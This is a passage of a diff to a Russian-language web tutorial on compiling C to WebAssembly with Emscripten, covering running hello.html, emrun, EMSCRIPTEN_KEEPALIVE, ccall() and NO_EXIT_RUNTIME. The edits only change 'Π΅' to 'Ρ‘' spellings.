<li><code>-o hello.html</code> β€” Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Emscripten сгСнСрировал HTML-страницу <code>hello.html</code> Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‰ΡƒΡŽ наш ΠΊΠΎΠ΄, Π° Ρ‚Π°ΠΊΠΆΠ΅ сам ΠΌΠΎΠ΄ΡƒΠ»ΡŒ wasm ΠΈ ΠΊΠΎΠ΄ JavaScript ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒΒ Π² Π²Π΅Π±-срСдС.</li>
</ul>
@@ -61,9 +61,9 @@ int main(int argc, char ** argv) {
<h3 id="Запуск_вашСго_ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°">Запуск вашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°</h3>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, всС Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉΒ  <code>hello.html</code> Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, это ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° WebAssembly. Он Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Firefox 52+, Chrome 57+ ΠΈ послСдних вСрсиях Opera. Π’Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ WebAssembly Π² Firefox 47+, Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ² Ρ„Π»Π°Π³Β <code>javascript.options.wasm</code> Π² <em>about:config</em>, ΠΈΠ»ΠΈ Π² Chrome 51+ ΠΈ Opera 38+ пСрСйдя Π²Β <em>chrome://flags</em> ΠΈ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ² Ρ„Π»Π°Π³Β <em>Experimental WebAssembly.</em></p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ, всС Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉΒ  <code>hello.html</code> Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, это ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° WebAssembly. Он Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Firefox 52+, Chrome 57+ ΠΈ послСдних вСрсиях Opera. Π’Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ WebAssembly Π² Firefox 47+, Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ² Ρ„Π»Π°Π³Β <code>javascript.options.wasm</code> Π² <em>about:config</em>, ΠΈΠ»ΠΈ Π² Chrome 51+ ΠΈ Opera 38+ пСрСйдя Π²Β <em>chrome://flags</em> ΠΈ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ² Ρ„Π»Π°Π³Β <em>Experimental WebAssembly.</em></p>
-<p>Если всС Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π»ΠΎΡΡŒ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ надпись "Hello world" Π½Π° ΠΎΡ‚ΠΊΡ€Ρ‹Π²ΡˆΠ΅ΠΉΡΡ Π²Π΅Π±-страницС ΠΈ Π² JavaScript консоли вашСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ, Π²Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ скомпилировали ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π½Π° Π‘ΠΈ Π² WebAssembly ΠΈ запустили Π΅Π΅ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅!</p>
+<p>Если всС Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΊ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π»ΠΎΡΡŒ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ надпись "Hello world" Π½Π° ΠΎΡ‚ΠΊΡ€Ρ‹Π²ΡˆΠ΅ΠΉΡΡ Π²Π΅Π±-страницС ΠΈ Π² JavaScript консоли вашСго Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. ΠŸΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΠ΅ΠΌ, Π²Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ скомпилировали ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π½Π° Π‘ΠΈ Π² WebAssembly ΠΈ запустили Π΅Ρ‘ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅!</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: На самом Π΄Π΅Π»Π΅, Ссли просто ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ <code>hello.html</code>, Ρ‚ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚. ΠŸΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚ΡΡ Ρ‡Ρ‚ΠΎ всС Ρ„Π°ΠΉΠ»Ρ‹ находятся на Π²Π΅Π±-сСрвСрС ΠΈ Π²Ρ‹ запускаСтС страницу Ρ‡Π΅Ρ€Π΅Π· <code>localhost/hello.html</code>. Для этих Ρ†Π΅Π»Π΅ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π»Π°Π΄ΠΎΡ‡Π½Ρ‹ΠΉ Π²Π΅Π±-сСрвСр Emscripten. Π§Ρ‚ΠΎΠ±Ρ‹ Π΅Π³ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π», ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ находятся ваши Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ <code>emrun hello.html</code></p>
@@ -100,7 +100,7 @@ int main(int argc, char ** argv) {
</ul>
</li>
<li>
- <p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ запустим этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€. Команда, указанная Π²Ρ‹ΡˆΠ΅, сгСнСрируСт Ρ„Π°ΠΉΠ» <code>hello2.html</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΠΆΠ΅ содСрТаниС Ρ‡Ρ‚ΠΎ ΠΈ шаблон, Π½ΠΎ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΊΠΎΠ΄ΠΎΠΌ,Β Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΌ Π² процСсс Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ сгСнСрированного wasm, Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‰ΠΈΠΌ Π΅Π³ΠΎ ΠΈ Ρ‚.Π΄. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π΅Π³ΠΎ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</p>
+ <p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ запустим этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€. Команда, указанная Π²Ρ‹ΡˆΠ΅, сгСнСрируСт Ρ„Π°ΠΉΠ» <code>hello2.html</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎΠΆΠ΅ содСрТаниС Ρ‡Ρ‚ΠΎ ΠΈ шаблон, Π½ΠΎ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΊΠΎΠ΄ΠΎΠΌ,Β Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΌ Π² процСсс Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ сгСнСрированного wasm, Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‰ΠΈΠΌ Π΅Π³ΠΎ ΠΈ Ρ‚.Π΄. ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Π΅Π³ΠΎ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ ΠΏΡ€ΠΎΡˆΠ»ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅.</p>
</li>
</ol>
@@ -108,9 +108,9 @@ int main(int argc, char ** argv) {
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ компилятору ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ JavaScript ΠΊΠΎΠ΄Π°, Π±Π΅Π· HTML, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„Π»Π°Π³Π° <code>-o</code>, <code>.js</code> вмСсто <code>.html</code> для Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π²Ρ‹Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β <code>emcc -o hello2.js hello2.c -O3 -s WASM=1</code>. ПослС этого Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свой собствСнный HTML Ρ„Π°ΠΉΠ» с нуля. Однако Ρ‚Π°ΠΊ Π΄Π΅Π»Π°Ρ‚ΡŒ Π½Π΅ рСкомСндуСтся β€” Emscripten Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ΡΡΒ Π±ΠΎΠ»ΡŒΡˆΠΎΠ΅ количСство ΡΠ²ΡΠ·Ρ‹Π²Π°ΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π° для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ выдСлСния памяти, ΡƒΡ‚Π΅Ρ‡Π΅ΠΊ памяти ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ Π² прСдоставляСмый шаблон. Намного Π»Π΅Π³Ρ‡Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡƒΠΆΠ΅ Π³ΠΎΡ‚ΠΎΠ²ΠΎΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, Ρ‡Π΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свои собствСнныС вСрсии самому.</p>
</div>
-<h3 id="Π’Ρ‹Π·ΠΎΠ²_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ_Π²_Π‘ΠΈ">Π’Ρ‹Π·ΠΎΠ² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π²Β Π‘ΠΈ</h3>
+<h3 id="Π’Ρ‹Π·ΠΎΠ²_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ_Π²_Π‘ΠΈ">Π’Ρ‹Π·ΠΎΠ² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π²Β Π‘ΠΈ</h3>
-<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ функция опрСдСлСнная Π² ΠΊΠΎΠ΄Π΅ Π½Π° Π‘ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎ нСобходимости Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΠ· JavaScript, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для этого Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ  <code>ccall()</code> ΠΈΠ· Emscripten, ΠΈ объявлСниС <code>EMSCRIPTEN_KEEPALIVE</code>Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ Π²Π°ΡˆΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² список экспортируСмых Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ (см.Β <a href="https://kripken.github.io/emscripten-site/docs/getting_started/FAQ.html#why-do-functions-in-my-c-c-source-code-vanish-when-i-compile-to-javascript-and-or-i-get-no-functions-to-process">ΠŸΠΎΡ‡Π΅ΠΌΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΌΠΎΠ΅ΠΌ ΠΊΠΎΠ΄Π΅ ΠΈΡΡ‡Π΅Π·Π°ΡŽΡ‚ послС компиляции ΠΈ/ΠΈΠ»ΠΈ я ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽ сообщСниС «НСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈΒ»</a>). Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
+<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ функция опрСдСлённая Π² ΠΊΠΎΠ΄Π΅ Π½Π° Π‘ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎ нСобходимости Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΠ· JavaScript, Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для этого Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ  <code>ccall()</code> ΠΈΠ· Emscripten, ΠΈ объявлСниС <code>EMSCRIPTEN_KEEPALIVE</code>Β ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ Π²Π°ΡˆΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² список экспортируСмых Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ (см.Β <a href="https://kripken.github.io/emscripten-site/docs/getting_started/FAQ.html#why-do-functions-in-my-c-c-source-code-vanish-when-i-compile-to-javascript-and-or-i-get-no-functions-to-process">ΠŸΠΎΡ‡Π΅ΠΌΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΌΠΎΠ΅ΠΌ ΠΊΠΎΠ΄Π΅ ΠΈΡΡ‡Π΅Π·Π°ΡŽΡ‚ послС компиляции ΠΈ/ΠΈΠ»ΠΈ я ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽ сообщСниС «НСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈΒ»</a>). Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚.</p>
<ol>
<li>
@@ -138,19 +138,19 @@ void EMSCRIPTEN_KEEPALIVE myFunction(int argc, char ** argv) {
<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΊΠΎΠ΄ созданный Emscripten, всСгда просто Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ  <code>main()</code>Β , Π° ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Π½Π΅ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅Β <code>EMSCRIPTEN_KEEPALIVE</code> ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ‡Ρ‚ΠΎΠ±Ρ‹ этого Π½Π΅ происходило. Π’Π°ΠΊΠΆΠ΅ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒΒ <code>emscripten.h</code> для использования <code>EMSCRIPTEN_KEEPALIVE</code>.</p>
<div class="note">
- <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π±Π»ΠΎΠΊΠΈ <code>#ifdef</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹, ΠΏΡ€ΠΈΠΌΠ΅Ρ€ оставался Ρ€Π°Π±ΠΎΡ‡ΠΈΠΌ Ссли Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ C++ ΠΊΠΎΠ΄. Из Π·Π° различия Π² ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ… прСобразования ΠΈΠΌΠ΅Π½ ΠΌΠ΅ΠΆΠ΄Ρƒ Π‘ΠΈ ΠΈ Π‘ΠΈ++, этот ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ»ΠΎΠΌΠ°Ρ‚ΡŒΡΡ, Π½ΠΎ ΠΌΡ‹ написали Π΅Π³ΠΎ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ функция Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ функция Π‘ΠΈ Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π‘ΠΈ++.</p>
+ <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π±Π»ΠΎΠΊΠΈ <code>#ifdef</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹, ΠΏΡ€ΠΈΠΌΠ΅Ρ€ оставался Ρ€Π°Π±ΠΎΡ‡ΠΈΠΌ Ссли Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ C++ ΠΊΠΎΠ΄. Из Π·Π° различия Π² ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ… прСобразования ΠΈΠΌΡ‘Π½ ΠΌΠ΅ΠΆΠ΄Ρƒ Π‘ΠΈ ΠΈ Π‘ΠΈ++, этот ΠΊΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ»ΠΎΠΌΠ°Ρ‚ΡŒΡΡ, Π½ΠΎ ΠΌΡ‹ написали Π΅Π³ΠΎ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ функция Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ функция Π‘ΠΈ Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π‘ΠΈ++.</p>
</div>
</li>
<li>
- <p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β <code>html_template/shell_minimal.html</code>Β Π² ваш Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, просто для удобства. В настоящСм ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ стоит Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³.</p>
+ <p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β <code>html_template/shell_minimal.html</code>Β Π² ваш Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³, просто для удобства. В настоящСм ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ стоит Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π² ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³.</p>
</li>
<li>
- <p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ снова займСмся этапом компиляции. Π’Π½ΡƒΡ‚Ρ€ΠΈ вашСго послСднСго ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π», скомпилируйтС ваш Π‘ΠΈ ΠΊΠΎΠ΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠΌΠ°Π½Π΄ΠΎΠΉ. (ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ компиляции ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ†ΠΈΡŽΒ NO_EXIT_RUNTIME, ΠΈΠ½Π°Ρ‡Π΅ послС выполнСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>main()</code>, Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊ Π²Ρ‹Π·ΠΎΠ²Ρƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ atexits ΠΈ дальшС Π±ΡƒΠ΄Π΅Ρ‚Β Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ наш скомпилированный ΠΊΠΎΠ΄.Β Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами это нСобходимо для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ эмуляции Π‘ΠΈ.)</p>
